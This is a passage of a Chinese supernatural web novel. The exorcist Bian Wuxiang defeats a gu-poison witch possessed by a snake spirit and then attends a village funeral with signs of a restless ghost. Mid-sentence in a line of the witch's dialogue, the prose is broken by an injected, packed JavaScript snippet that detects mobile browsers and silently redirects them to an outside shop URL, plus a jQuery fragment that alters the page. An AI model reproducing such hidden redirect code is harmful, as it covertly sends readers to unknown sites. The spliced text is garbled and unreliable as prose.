一阵怪笑过后,那桃仙婆吼道:“我都要成为第一蛊婆了,哪还能在精怪之下?精怪嘛,连个人身都没有,还好意思说自己是蛇仙。” 边无相看着面前的桃仙婆,那条绿蛇就在她的身后,桃仙婆似乎也并不把边无相放在眼里:“有空在这里盯着,不如去看看你那村长究竟怎么样了,哼!” 边无相拿不准她这句话到底是什么意思,拧着眉头继续勘探着局势,只见那桃仙婆又开口道:“蛇仙而已,教了我怎么以人做器皿,以此来炼制蛊虫,倒也真是给自己脸上贴金,哪道工序不是我自己来的!不过是有些失传的秘法罢了,哼——本想借着你的手把它杀了,谁知道你那刀子也是幻象,可真是好偷师啊。” “边无相。” 桃仙婆嘴唇动了动,就把边无相的名字给说了出来,眼底的欲望和贪婪,几乎揉杂到一起,手上的虫子被她一掌砸在地上,虫子爬得飞快,边无相连连向后撤着。 “我要去看看我的蛊虫怎么样了,至于你,什么时候把我的蛊破了,自然就能出来了,否则,你就在这里等着枯骨成灰吧!” 桃仙婆一边笑着,一边一个闪身便不见了踪影。 边无相连连躲着蛊虫,可那蛊虫却仿佛摆脱不掉一般,全身金色的皮越来越长,皮底下的肉也随之增长,边无相找不到突破口,能先确保自己的脚不被那虫子套住,倘若一个不小心,他实在不敢想象会怎么样。 不,不是不敢想象,他只是有些云里雾里,这些按理来说都是古书上的东西,从没想过,居然能真真切切地见到。 看这蛊虫,大概就是古书上记载的金线蛊,这种蛊虫虽是虫子,但身子却可以无限延长,而且身如钢筋,并不可轻易斩断,即便斩断了,也对斩断它的人无利——它那身子会随着一斩为二化成两只蛊虫。 边无相从没想过自己会刚下山就碰到这么个大事,还真是运气齐天,心中一急,脚下就有些急躁了。 那桃仙婆因为身上顶着仙家的缘故,多少有些眼睛可以拿来用,看着幻境里边边无相忙乱的阵脚,心中大快。 紧接着,又把自己的目光投回到了疯女人的身上,疯女人抱着自己的肚子,容貌有些疲惫,乱蓬蓬的头发丝打结在一起,因为汗水的缘故,紧黏在她的脸上。 桃仙婆看着眼前人,动作却一点都不急,这个女人本是她用来养蛊的,也是她身后那个仙家亲自挑选出来的,只不过可别以为她不知道,那个蛇仙挑选出这么个姑娘做器具,只不过是为了把自己的魂神给稳住,到时候好精修大道,一举成仙。 至于自己的蛊虫,她虽口口声声说着:“以人体做蛊虫,这可是个秘法,但我可以给你挑选上上好的器皿……上上好的皮肉,我自然不会妨碍你,我们各取所需。” 可恶人的话哪能信呢?即便是她自己,也连自己的话都不信。 所以果不然,所谓自己的那些蛊虫,当真和她猜想的不错,那个该死的蛇精,从头到尾,只不过是想着让自己的蛊虫也成了助她修成大道的器物。 呵,自不量力,到底还是动物,忽略了人的心思能有多密,手段能有多狠辣。 她将自己的目光移了回来,面前的女人落下一颗颗的泪珠子,圆润的脑袋稍稍偏到一边来:“死胎真的能复活吗?” “那是当然,我们这些人,多少都会点转胎术,这个胎儿活了以后,你可要好好待它。” 疯女人啜泣着:“我一定好好待她,把我的命拿去都没关系!” 要说她的肚子是怎么大起来的,只能怪这个村子实在有些太偏僻了,人们受教育程度都低,还保留着最原始,最初的封建,保留着以人祭祀,天选的说法。 而这个疯女人,恰巧就是祭祀的对象,也是天选的对象,家里老人一时也不知道究竟是吉是凶,是福是祸,只能看着自家的孩子进了那个古庙,无数村民将她围着,簇拥着送进了正殿。 这一切背后的真正人正是这个桃仙婆,她还没有顶上仙家的时候就开始装神弄鬼,想尽各种办法来选取合适的人,做自己的器皿,偏是没有一次成功,被选上的那些失败品在回去后便又是吐又是泻,但人们都说:神说了,这是排出身体的负能量,只有把身体的负能量排出去了,身子干净了才能做大善人,做了大善人就有大福报,有了大福报,什么事都不用愁。 而顶上仙家之后,便得了那个秘法,那个秘法就更不必多说了,先是让还是孩童时候的疯女人昏迷了过去,紧接着把自己炼出来的生蛇母蛊从她口中放进去,再朝着她的嘴里猛猛灌着水,直到确保蛊虫彻底种在了她的身子里才终于罢休。 做这一切,还要考虑掩瞒那只蛇精的眼睛,如今倒是真正好了,那个蛇精就算口口声声说自己是蛇仙,即将精修大道又如何?到底是精怪,没有人聪明,不过诓骗一下,假戏作秀,连声应着把面前这个人拖住,再也不会让这个人阻碍它修成大道,就真以为自己得了什么顶好的盟友?呵,真是不自量力。 到现在,那蛇精又与自己融为一体,一如往常看事一般,上自己的身,可那又如何?她早就在自己的身体里面下了蛊,专攻她这种上人身的精怪。 “胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110887|149771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢匡骗我!是我找的你,你一个区区凡人,怎么敢利用我!”蛇精的声音毫无征兆地从桃仙婆的嘴里蹦了出来,桃仙婆那两只枯槁的手紧紧抓着自己的脖子,不过片刻便扼出了六道紫红色的长痕来。 桃仙婆的笑声随之而来,先是压得极低,声音十分放肆狂妄,甚至癫狂,两只手就这么你掐着我,我掐着你,尽管最终的皮囊始终都只是桃仙婆一个人的。 可那又有何可惧呢? 桃仙婆对着自己下了更狠的手,不知哪里来的猛烈,从衣角处撕下了长长一缕布条来,那布条周边还有着细细密密的杂乱丝线,蛇精的眼神透过桃仙婆的眼睛展露无遗,那双眼瞳孔外瞪着,几乎要喷溅出血来。 桃仙婆将自己的脖子紧紧勒住,边无相趁势前去,沿着桃仙婆身上的经脉点了几通,桃仙婆身体里的那只蛇精眼见上窍不通,于是便走下窍,这就让勒着脖子的那个桃仙婆皮肤一跳一跳的,抓着布条的手到底是没拿稳,将自己的头发揪在掌心里,一声声吃痛叫着:“哎呦!我告诉你!你再不能像以前那样摆布我!可不是你的兵马,我……哎呦!” 边无相整个人飞身上前,不过眨眼功夫就行至身后,朝着桃仙婆腰后一脚,桃仙婆整个人栽倒在地,边无相掐着她的后脖颈处贴上了符纸,接着又先后狠狠揪住了桃仙婆左右两只手的中指与虎口,行云流水动作之间,就把桃仙婆整个人拉扯起来,边无相又书空画了符,眼瞧着桃仙婆筋脉下面的蛇溜到了腋下,舒展在整长条胳膊里,于是心中便亮着灯儿盲摸出了七寸来,只听胳膊里传出一阵怪叫。 桃仙婆实在被打窍打得狠了,整个人快要昏死过去,体内的蛊虫又在追着那蛇跑,于是凡是打过的窍脉处,便又要经过一阵刮擦,体内的景象虽不见,体外的皮肤上已经泛起了红紫来。 边无相抓着桃仙婆的胳膊,从中摸出了蛇,便又松开了部分的胳膊,只抓着蛇,蛇的身子藏在桃仙婆的胳膊皮下面,蠕动着的身体看上去几乎要将桃仙婆的胳膊一分为二。 “呵——” 边无相将自己的葫芦抓在另一只手里,强行塞到了桃仙婆的手中,仙婆不愿意去抓,边无相摁着桃仙婆的手,将那铜黄色的葫芦紧紧握着。 只听“呲溜”一声,桃仙婆的胳膊几乎快要破出一个大洞来,那蛇的身子猛猛向里窜,却又因为一时着急,摸不清方向,将桃仙婆彻底疼昏了过去,边无相咬咬牙,对着桃仙婆的人中发狠一摁,桃仙婆就是不想醒也不行了。 可是刚一醒来,就发现自己被麻绳捆了个干净,两只胳膊紧紧背在身后,两腿绑得一点都动不了。 她刚想破口大骂,只觉得嗓子里面一阵向上的恶涌,“哇”地一口吐出一条宽长的绿蛇来,那绿蛇刚想逃窜,却就好像在体内被酒气逼着那样,整个身子一点不由它自主掌控,像是被揪着狠狠甩进了那人的酒葫芦里一般,眨眼功夫就消失在了那么小的洞口。 蛇精在葫芦里面哪肯罢休?反复游荡个不停,那葫芦叮当作响,边无相对这个反应似乎已经见怪不怪了,将手里的葫芦使劲摇了摇:“你这蛇拿来下酒应该还不错,也算是为你完成功德一件。” 绿蛇在葫芦里嚎叫一声,葫芦发出不断回荡的嗡响,直到声音散尽便彻底没了动静。 再看那桃仙婆,光是吐了那条巨大的绿蛇还不够,涨红着脸,粗着脖子,整个人不停的向前伸着,前倾着,嘴巴大张着,下巴几乎拢出无数个小坑小洞来,嘴中不断厄着声音,过了半晌,才终于从嗓子里将那一团黑雾给吐了出去。 可是哇的一声吐出去,那些哪里是黑雾呢?都是一些死虫子,边无相在空中笔画出了祝由符,从桃仙婆的脑袋上拔了两根头发下来,在房间里面绕了个小三角状的形状,其中一角是桃仙婆,其中一角是酒葫芦,最后那一角还空着。 桃仙婆胸腔里的东西还没有吐干净,又是一阵哇哇直吐,额头上冒出一片一片的冷汗来,吐出来的刚刚那片一样,都是一些黑色虫子,只是刚刚那些都是死虫子——哽在嗓子里的那些,现在这些却都是活着的。 桃仙婆胳膊上起了一片又一片的鸡皮疙瘩,原本就在不住反胃,现下便觉得更加恶心,自己的舌面上有无数个虫角在动,那些虫子有的还分泌着粘液——那些粘液和口水可不一样,散发着淡淡的臭味,粘腻感十足,而且她曾见过,那些粘液都是腥黄色的,这些虫子却好像怎么都吐不干净,越吐越多。 边无相蹲在地上,两只手松弛自然的挎在自己的膝盖上:“让你乱吃东西,不过你这还不算什么,那个人怎么样了?被你拿去做人蛊,你成功了吗?” 桃仙婆顾不得回他话,哕咿着不知道究竟说了些什么,又皱着眉头,紧闭着双眼吐了起来,模样着实有些吓人。 边无相直起了身,慢慢走到了第三角处,从自己的兜里掏出一个木雕来,那个木雕只是大约雕出了一个人的样貌,但并没有具体去雕刻是谁,只见那木雕刚放置好,桃仙婆身上的绳子便解开了。 桃仙婆便身上难受,却也是心下大喜,匆匆直起身来,向前走,路走还一路弯着腰,拍着胸脯吐那些虫子,有的虫子吐在了她的膝盖上,脚面上,还在一下一下动着。 边无相就这么抱着胳膊,静静等着桃仙婆走到自己面前,突然两腿一跨,出了那三角圈,桃仙婆紧接着也想追上去,她早就料定了面前这个人在刚刚给自己锁窍的时候,已经看出了这个秘境的解码方式。 那正是窍关,只要照着那个路走,能走出这个由自身做诱饵化成的幻境。 边无相冲桃仙婆摆了摆手:“不过是一些祝由的锁魂法子,你自求多福吧,等你什么时候把自己的魂魄从个木头人身上夺下来,你什么时候就能出来了。” 桃仙婆不信这个邪,依旧不断的向前使着力,想要走出去,跨出去,是那个三角界偏偏就是跨不出去,它仿佛有一层看不见的屏障,将两个人生生隔开来。 边无相屏障外笑得云淡风轻,还有一些不知好歹:“我也没办法,我既然答应了,自然就是要做的。” 桃仙婆在那屏障里面,觉得自己的魂魄仿佛在一丝一缕地流出去,一点一点地散出去,她整个人仿佛痴傻起来,一副神志不清的样子,满脸怒气,伸着胳膊上窜下跳,到处勾勾扯扯,口中不住喃喃着:“休想夺了我的魂魄!” 桃仙婆正在痴傻之间,就看见绿蛇从那葫芦里钻了出来,逐渐越来越大,越来越大! 哪怕是五六个桃仙婆比不上那绿蛇高,蛇身格外粗,一张嘴,獠牙一露,信子一吐。 桃仙婆惊叫着在三角内四处乱跑,口中已经不知道究竟在说些什么了,可实际上,葫芦还是那个葫芦,除了时不时被桃仙婆踢到葫芦里面的酒,发出一阵一阵的荡,便再没有什么别的声响。 边无相从幻境里面出去时,刘村长正蹲在那个疯女人旁边抽烟,疯女人躺倒在地上,肚子一点一点往下瘪着,村长看见了边无相,整个人跪着爬着前行,几乎不知道该怎么站起来,原本算沉稳的脸上一把鼻涕一把老泪:“你个毛头小子上哪去了!庙里面的那片地皮突然塌了,我就掉到这儿来了,你看看——” 刘村长一边说着,一边抹着泪,抹着汗转头看向了疯女人:“凤儿家的闺女怎么在这里!哎呦,你快来看看,自打刚刚开始,他这肚子就往下瘪,跑了气儿一样!” 刘村长说着,身上就打了个寒颤,边无相沉默看着女人,那疯女人却好像没有知觉一般,不哭不闹,一个劲地往自己肚子里吸气。 死胎是不可能复活的,何况她肚子里那是蛊虫,倘若不是刚刚囚禁了桃仙婆的魂魄,让那些蛊虫以为主消了,恐怕也不会这样轻易就瘪下肚子来。 只是这么多年的蛊虫,一下子总是消不完的,心结也是难开的,一切都还需要时间。 边无相和刘村长道清了一切,将那些女婴全都送归到了轮转王手底下,可他自己却也结上了一个心结——到底是谁?谁会要他?到底是什么香饽饽? 神通究竟——是福是祸? 6. 老太爷还魂(一) 边无相自打把村中寺庙的诡异事都解决了,一时间名声大噪,七邻八舍、方圆十里,总能听见些他的名号,一些人叫他“那个神仙”,一些人叫他“那个半仙”,不远万里,从镇上赶到村子里找他算卦的人也不在少数。 只是这样风平浪静的日子没过几日,那个寺庙才刚因为边无相住进去,重新有了些人气儿,这日清晨就要将门锁上了,寺庙的木门吱呀作响,女婴的啼哭是没了,反倒成了一群熊孩子吵嚷踢球的好去处。 边无相倒也不反对,他总觉得吵嚷就吵嚷些,至少人多,看着有生气儿,庙里也就不沉闷了。 他早料想到今天又该重新启程了,只是还不知究竟要去哪里,便一路上松垮着自己的袍子大衣,哼着小调儿到村头守着去。 到日上三竿了,远处隐约传来一阵阵的唢呐声响,唢呐声响里混杂着诸多呜呜咽咽的哭声,一些哭声一时间难分男女老少,边无相想,是该走了。 果不然,村头的土灰石子路被溅起一阵阵的细沙来,不远处正是一个青年男人匆匆赶来,浑身披麻戴孝,头顶上顶个白布帽子,身上穿着松垮粗糙的米白色上衣下裤,整个人跑着,身子都向前倾倒而去,远远地就扬起手来,边招边喊:“半仙!我们家老人走了,您快过来看看!” 边无相半眯着眼,稳步走上前去,日色如瀑,显得他肌肤越发苍白,几乎快要透明下去,像是下一秒就要从人间消散了,前行了几步,男人已经跑到了他的身前,他稍稍抬了抬胳膊,小意拍了拍男人的背:“顺顺气儿吧。” 男人连声“诶诶”着应下来,粗糙的手在自己浑身的衣料上来回摸着,整个人俯下身子去,一直摸到早就翻折进里边去的裤脚,裤脚里边似乎有个什么圆形的物件,这才终于放了心,又抬起头直起身来:“半仙,我家的老太爷死了,只怕生前还有什么事情没有说出来,您就去看看吧!多少的酬劳,我们都付得起!” 边无相请示让男人带路,是临近大中午的时候,村口本就没什么人,两个人彼此之间也不知究竟该谁怕谁,一个是常年和鬼魂打交道的,一个是家里刚死了人的,得亏是没有要和他们二人迎面碰上的人,不然早该魂儿都吓散了。 毕竟这是个不成文的规定,有谁不知道呢?倘若是正常死去的,安心寿终的,家里怎么会派人大老远去请什么神算子、半仙子。 两人行路许久,才终于看见抬着棺材、纸人、花圈儿的一众人群,中间的那群人多为男子,抬着棺材,只是直接抬棺材,未免太不吉利,再加上这到底是村头村口,周边四里八荒也都是村子。 村子嘛,谁不知道? 这样的地界,野猫最多,倘若是碰上什么白猫狸猫,或什么三花橘猫,倒也算好,最怕的就是让黑猫惊扰了棺材里的人。 所以棺材外面还裹着一大圈的纸物,那是抬棺的轿子,和娶妻求亲的轿子没有什么差别,唯一的区别就是用了一些纸啊布啊,去做了装饰。 在这轿子的最前端,还有两个没点眼睛的纸人,一男一女,一左一右立在轿子的两边,塑料壳子做的身子脸蛋,整张面孔都泛着粉色,女娃那边套着粉色纸衣料,男娃那边套着绿色纸衣料,风一吹就呼啦啦的响,即便是现在没有什么风,抬轿子的都是几个力量不一的汉子们,走路更是一颠一簸,那两个纸人就随着轿子的颠簸而一颤一动,实在是好在前面没有马夫,没有纸马,不然这条道恐怕就是黄泉路了。 轿子上的纸啊布啊的,全都沿着木头杆搭的轿杆粘着贴着,不管是粘了花也好,还是贴了缎带,太阳光底下,那些金银条子都呼啦啦、噗哧哧的。 顺着抬棺材轿子的这一众人群往前看,几位女士或尚且年轻的儿童走在前面,不管是掩面假哭的,还是真就涕零的,嘴里都不住发出着呜呜咽咽的声音,每个人头上都戴着孝帽,呜咽的声音传了一路又一路。 顺着轿子往后看,几个尚且算得上年轻力壮的,各个儿也都和前面一样披麻戴孝,举着一个个的花圈往前走,花圈上还贴着白条黑字:“老太爷一路走好,奠。” 边无相慢悠悠赶到了队伍的最后面,在队伍最后面的都是些没什么关系的人,却也是特意请来吹打送行的人,除了唢呐的,还有敲锣的,七八个人里边还有两个是专门嚎哭的,倒也没什么感情,全是技术含量。 刚刚一路跑着找他的男人还来不及和他多说两句话,就跑到了队伍的前面儿,最前面还有几个年纪更小些的儿童,他们还不太懂得生死,不太懂得人一旦离世,就再也没有机会相见了,还以为是什么热闹活动,小声嬉笑着。 嬉笑得最大声的那个儿童,约莫着是那个男人的孩子,看样貌才五六岁,按理来说,五六岁本不该参加这样的事情,边无相心下想着,也只是淡淡收回眼来。 有些劫数是逃不掉的。 男人跑上前去,照着那个小孩的后脑勺就是狠狠一巴掌,嘴皮子动了动,只是听不清究竟说什么,不过约莫着也就是些什么:“笑!你再给老子笑一个试试!” 而后,便转回了头,从身旁那个老女士手上接过了这个去世老太爷的遗像,又专心哭了起来:“呜呜——老太爷啊——你怎么走得这样早啊——儿孙还没有好好孝敬您啊——” 边无相心中失笑,原来只是好一场戏。 一行人一路哀嚎,绕着村子转了两圈儿,才终于走到坟地里,估计这个村子的人死了都要埋在这,大大小小的坟包一个接一个,有的还是墓碑,有的只是插了根枝条子,还有的墓碑被遮上了红布胶带。 可能是因为刚下过雨的缘故,坟地里边的泥湿漉漉的,这里又是阴处,常年没什么人打理,树木林子一丛一丛、一簇一簇的,显得阴影越发潮湿。 估计早就有人来过了,这些人一路苦嚎着,进了坟地的最里边,那个地方早被挖了个坑,只是旁边还放着一些铁锹,还有一些钉耙,想来坑是挖掘机早已挖好的,至于这些农具,只是为了拿来唬一唬老人家的眼,不过倒也可以理解,毕竟这样更方便些,不至于挖到天黑还干不完。 边无相没有跟着那些人一同下地,只是站在坟地边的巷子路上,那些在前面哭嚎嬉笑的儿童,也都站在这条路上,还有来月事的妇女,年纪稍长些的妇女,也都站在这条路上。 一个小孩闹着要下去,做妈妈的按住他的肩膀头子就嚷道:“下去要有马虎吃掉你!你下去做什么?这里还有点阳光,呆着不好吗!” 那个小孩像是被吓了一跳,敞开了嘴,就开始嚎啕,刚刚奔丧的路上都没有哭的像现在这样淋漓过,小嘴大张着,刚掉了不久的牙缝还露在外面,哇哇个不停。 那个做妈妈的一巴掌打在小孩的嘴巴上,声音语调里沾染着不耐烦和恐惧之色:“哭!再哭!作业就让你写十次!” 孩子彻底被吓着了,哭得更加嚎啕,眼泪止也止不住,坟里挖坑下葬的人嗷嗷个不停,都不见得有这一声的大,小孩妈妈拧了一把小孩的胳膊:“你再给我哭一个试试!” 小孩彻底不哭了,抽泣着,抽泣着,一群人就又静了下去,不管是坟地里,还是坟地上,都是一片死气沉沉。 边无相瞧着那棺材估计是要安顿好了,一个个的都在拿着铁锹铲土往里边填,便下了地里面去。 “差不多该烧纸供东西了是吧?” 男人一边儿铲土,一边应道:“是、是,是该烧纸了,车还没到,先把东西供了吧,老太爷的衣箱啊,日用啊什么的,都还在车上。” 一阵不妙的预感涌上了边无相的心头。 东西慢慢供完了,远远听见车子刹闸的声音,刺啦啦的,车上下来几个人,搬着纸做的大别墅、大家电,日用百货,地契元宝像是一溜蚯蚓,一溜鱼儿似的,一串串的也下了地里。 边无相目光在这几个人之间来回扫了半晌,冷不丁开口道:“衣箱呢?” “衣箱?衣……” 男人把那些东西都扫视了一圈,一下子勃然道:“衣箱呢!” 一时间几个人窃窃私语,男人的脖子发红发粗:“衣箱呢!东西呢!” 搬来纸别墅的那个估计是几个人之中的头子,圆滑的笑意立马浮现在了那张圆圆脸上,眉头局促地皱起:“李先生,您……您先别急!” 进而马上转头道:“衣箱了?你去,去上去看看,是不是落在车里了。” 接了活儿的长脸男马上三步并作两步跑了上去,蓝色的大车被狠狠一摔车门,几个女人儿童不禁往后退了退。 圆脸的男人一脸歉意:“李先生,您别动了火气,这是我们的疏忽,老先生肯定也不希望您大动肝火……” 男人长了张嘴,什么都没说地挥了挥手:“先烧吧,不用多说了。” 边无相抱着个胳膊立在一旁,目光过于平静地盯着那个坟包看了许久,已经该为夜半还魂的可能做打算了。 车上的男人远远晃着胳膊道:“老大,没拿!没有——!” 那个被叫老大的圆圆脸低低咒骂了一声:“日你大爷……” □□气得一双操手握成拳头,张口就是:“你他妈……” 圆圆脸一下就堵住了□□的嘴,稍稍低着头,目光斜视,拱着个手:“这愣着干嘛?这附近就有丧葬店,不知道去买吗!” 引路幡在两人的争吵间,忽然翻起来,边无相眼疾手快,几乎是一个闪身就冲到了前面,苍白的手一抬,将那引路幡子又重新抓稳放好,难得充当了圆场的人:“别动火了,就当是给老人家买新衣裳穿吧,我跟你上去看看,就顺便做好打包了。” 接下活的那个人叫尖儿,因为打小脑袋就不圆,别人都是圆溜的大脑袋,只有他,偏偏像个小锥子,瓜子仁似的,脑袋瓜子尖得很,自然也就叫尖儿了,直到现在,他妈妈都觉得是他小时候太皮实,囟门还没闭合,颅骨还软的时候,被门夹了的缘故。 尖儿准备从坟地里跑上去,却好似被什么绊住了脚,本就灰扑扑的牛仔裤随着他往前一跪,沾上了不少的泥泞。 “哎呦!” 这吃痛一声叫,边无相不动声色地翻了翻手掌,这并不是个吉利事,他不紧不慢又往前行走两步,扶着尖儿的胳膊把他拉了起来,还不等这人再喊痛,就用着力气,几乎将这人半拖而去。 直到两个人离开了坟地,边无相才关切开口:“怎么样?把手上的土拍拍。” 尖儿傻笑着:“没做好,把人家的东西给漏了。” 边无相笑笑:“补过的机会很多,要重新购置东西会重,你去上车把那谁也叫过来,相互搭把手。” 尖儿听言便拍了拍自己的裤腿膝盖,将那个长脸男人也一并叫了下来,长脸男一边下车,一边从口袋里摸出烟来,腿脚麻利得很,裤子几乎快要掉了,宽宽松松的布料都圩堆在脚边。 其实与其说布料宽松,不如说他太瘦了,看着似乎比尖儿还瘦,和对面的坟地倒是有一般无二的凄凉,浑身的皮肤黢黑泛红,好像只是薄薄一层皮肉包着骨头,因为肉太少了,那些皮像是挂在了骨头上,还有些皱巴巴的。 “大仙,抽根烟吗?” 边无相看着男人长满了疮痕的手和那根弯折发皱,烟草都有些挤出去的烟,又勾唇笑了笑:“好雅兴啊,不过等会要搬东西,先不了吧?” 尖儿乐了:“大仙,你是不抽烟吧?” “是不抽。” 那个长脸男人一下就来了兴致,可语气语调却让整个人越发落寞了,他将那根烟收回到自己的烟盒子里,烟盒子有些破破烂烂的:“不抽烟好,烟盒子上不是说吗?抽烟不利健康,嗐……” “大仙生活应该挺顺遂吧?看这白皮肤,就不是我们这种劳苦人能有的,尖儿也年轻,等你们到了我这种年纪,我这个境地就懂了,有些愁,只能靠烟圈排解。” 边无相没有接话,闷着头往前走,心里边盘算着该买些什么,这衣箱到底是一开始就没有,还是落下了,也还是个谜。 只恐怕从一开始,就不打算让他老人家安生,那两个干活的眼看着边无相一个人闷声走了许久,便也匆匆忙忙跟了上去,一路上还有说有笑的。 也对,死的不是他们家的人,也没什么关系,也没什么恩惠,人家何必为他浪费眼泪呢? 边无相将眸子垂得更低了,他本以为自己已经习惯了这种,人和人之间必然没有那么强烈联系的状况,可心中却仍旧大感酸涩。 这些年,无论是他一个人单干也好,还是跟着师父上山下山,见过的这些事情可不算少,却偏不知为什么,自打小起,即便那人同他没有半两的关系,甚至从生至死也没有过一面之缘,他都倍感心头凄冷。 人死如灯灭。 几个人过了个转弯,就去了一家丧葬用品的店子,那两个人一摸裤兜,掏了几张钱出来:“我来付吧,回头还能让老大多报销点。” “我来吧,我来付就行,不过我好像不太够,还得你凑一下。” 尖儿一边抿着手指去盘算自己到底有多少钱,一厚沓子钱里边愣是一张红的都没有,数了半天,嚷道:“哎呦,我才有八十九块钱,指定不够。” 边无相将店子里的东西打量了个遍,店子老板眼看着这人衣着不凡,只是笑眯眯望着他:“这位,是要买点什么啊?” 边无相在店里面踱步了几周,把店子里边的各种金山银山,招魂引路的,还有什么打狗棍,全都给看了个遍,这个店子所处的位置本就阴黑,这会儿天也已经快黑下去,店里面卖的还是些死人用品,尽管尖儿和那个长脸男干这行的次数已经不在少数了,两只手都未必数得过来,却也还是脚下发虚,肩膀胳膊紧紧贴在一起。 “我要这些东西——” 店老板身上只穿着一件灰色的走线褂子,腿上套着一条松松垮垮的灰裤子,裤腿朝上折去,沾着干巴泥土的脚踩在宝蓝色的厚拖鞋 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边无相肉眼可见那老板的神色,一下子又苍白了下去,那老板有点什么直觉也不见得是太好的事:“这……” 他刚刚料想到指不定是今天下葬的人不安生,还想着早些把门关上,免得祸害殃及自己,结果来这儿的客人张嘴就问他今天就要新东西,一下子就犯了难,眉头紧皱着,那双脚都不由自主的绞了起来,屈起脚趾往拖鞋的脚趾印上抠着。 “哦,看来是我刚刚没有说清了,我是说你今晚赶制出来,赶明儿我再找你拿。” 老板一下子又松了口气,气血又涌上头去了,整个人稍稍往前栽了栽,用胳膊肘扶住了玻璃柜子:“这不是早说吗?我还以为……” 边无相笑吟吟的,这家店本来灯光就昏黄发暗,整体四周都黑漆漆的,边无相身上皮肤又发白,白到快要透明下去,何况甚至都不像常人一样,穿个便服,偏偏穿个袍子就出来,那对长眸子一笑起来,只成了一条缝,让人心中害怕。 店老板赶紧往里面走去,一时之间腿脚更麻利了,从里面拿出了黄纸和朱砂,黄纸是上好的黄纸,朱砂更是红得发沉,还特意拿来了一个青色的大玉章子:“看不出来,您应该是这方面的行家吧?东西都在这儿了,我先给您装到大箱里,您可要封好了。” 这个老板一边说一边做,心中虽是害怕,却也还是忍不住开口问道:“怎么了?今天下葬的听说是个老爷子,唢呐声真是震天响,估计班子要花不少钱,死得不安生啊?” 边无相没开口,用朱砂在黄纸上画符,两个人可就来了心思,尤其是那个长脸男,他点了一支烟,烟味一时之间在小屋子里四散:“那可不然嘛!我干这行这么长时间,就没见过有谁家这东西能不翼而飞了的。” “这东西?你是说这些丧葬的?” “诶,我们记得当时明明都装上车了,不该不见的,偏偏就是不见了,你说说,不是让哪个鬼给抢去了?” “风大吹走了吧?” 店家想都不想,就从科学角度将话接了下来,可是很快,他就把自己给否认了: 什么风大吹走了! 今天晴朗无风啊! 就在此刻,原本还在播着广告的电视机突然一阵雪花屏,边无相的目光移了过去,才刚发现这家店里的电视机还是那种老式的大脑袋电视,整个都是灰壳子的,笨笨重重的,电视屏朝外凸着,雪花的黑白就在其中映着,不断的“滋滋”作响。 过了半晌才终于恢复,电视机里的女主持人身着着红色中长裙,黑色外套,版型规整,声音干脆,整个人越发显得干练: “八月二十九日,天气晴。” 店老板听到这话,一下子就瘫坐在了地上,另外两个人后知后觉,冷汗也冒了一后背。 这这这…… 天气预报一向都只播第二天的天气,可今天就是二十九日,那两个人紧紧抱在了一起,一会儿小声哆嗦,一会儿大声骂道:“我去你奶奶个腿儿!老子收钱给你送行,你他妈吓唬老子干甚?你儿子给你准备的衣服包没有现在这套齐全!” “就是!日恁大爷!告诉你,我们也只是收钱办事,仇恨谁就找仇家解决去,少在我们这里耍威风!” 两个人的声音都快破了,尖儿的声音更是直接劈叉,起初甚至发不出声来,咽了半天的干口水,才终于找到自己的嗓门儿。 说完话,嘴唇牙齿还打着哆嗦,当然,说话时也一样,两个人的嘴根本没法张大了说,上下的牙不停地彼此相碰,真是两个口腔大厅内的双重奏。 边无相赶紧封好了条子,又叮嘱了一句:“早些关门,打狗棒子你可记得做!钱回头再给你。” 那两个人才终于算是半松了一口气,毕竟刚刚指指点点那么多东西,几乎半个店子都该拿下来了吧?他们两个的那点破钱肯定是不够的。 两个人抬着衣箱,匆匆忙忙回了坟地里,天几乎已经黑下去了,一路上阴风呼呼作响,这风一点都不像夏秋季的风,甚至比冬天的风还要刺骨寒人,扎得人骨髓生疼,腿脚也几乎快要抽筋、发麻了。 女人和孩子们已经先回去了,还留下几个壮实些的男人,那个□□在坟前站着,见三人回来,一点好眼色都没有,只是单看向边无相时,眉眼里还会带一些奉承的意思,干笑着:“烧吧,都烧了,都烧了!” 火光一下子就被这些纸扎的东西震得呼啦啦作响,一下比一下蹿得更高,一下比一下跳得更猛,那些东西全都吞噬了进去,□□拿着一根木头的粗杆子,身体站得远远的,又稍稍倾斜着,将外面一些的纸张东西全都堆在火里边。 直到那些东西都钻进了火里,被挑进了火里,□□才又举起了手,用胳膊肘抹自己的眼泪,一下便嚎啕了起来:“老太爷!你走吧!你安心走吧——” 周边站着的另外几个人一听,彼此不服气一般,嚎啕起来,什么三舅,二舅,什么老太爷,什么好同学,各种称呼的都有,还有什么忠儿,反正说啥的都有,不过也基本差不到哪去,无非也就是什么“你安心走吧”、“怎么就死的这样早……” 人人都一把鼻涕一把泪,也不知道到底有没有鼻涕,有没有泪,有多少人有鼻涕,有多少人有眼泪。 □□哭得更大声了。 众人也哭得更大声了。 边无相想:他是不是已经麻木了,可那些人又好到哪去? 刚刚那个喊二舅一路走好的,现在连挡在衣服袖子下面,嘴里大声发着呜呜啊啊的声音,至于那个喊三舅的,眼角处是流不下来的泪滴子,估计也是强挤出来的,毕竟到现在了,他还在使劲眨眼。 就这么看一圈,偏偏就是一个人真心的都没有。 哦,不对,至少还是有一个人的,刚刚那个前面的老女士,她没有呜咽,也没有嚎叫。 眼泪,滴到了坟墓上,融进了土里。 7. 老太爷还魂(二) 东西一烧就是一大片,火光撺着将人们散开去,边无相的指尖捻着一根头发丝,看向老女士的眼神怔怔的。 不知究竟在想些什么。 天色里所有的光亮星子全都不,或许更恰当的表述应当是众人的泪水已经收起来了,全都闹哄哄往燃烧在火里,那些火全部都在纸张里化成灰烬,还没等得及那些纸张全都化灰化黑,□□等几个人就往前走了几步,跺着脚将那些纸踩得扎扎实实的,火星子一下子就灭在了脚印里,微小得可怜的那些复燃迹象也都埋没在黝黑的鞋底板下。 那个老女士还在啪嗒啪嗒掉着眼泪,边无相眯起了眼,众人的泪水已经干了,上面走。 “走了走了,回去了还得吃口饭,忙活一下午,累死人了。” 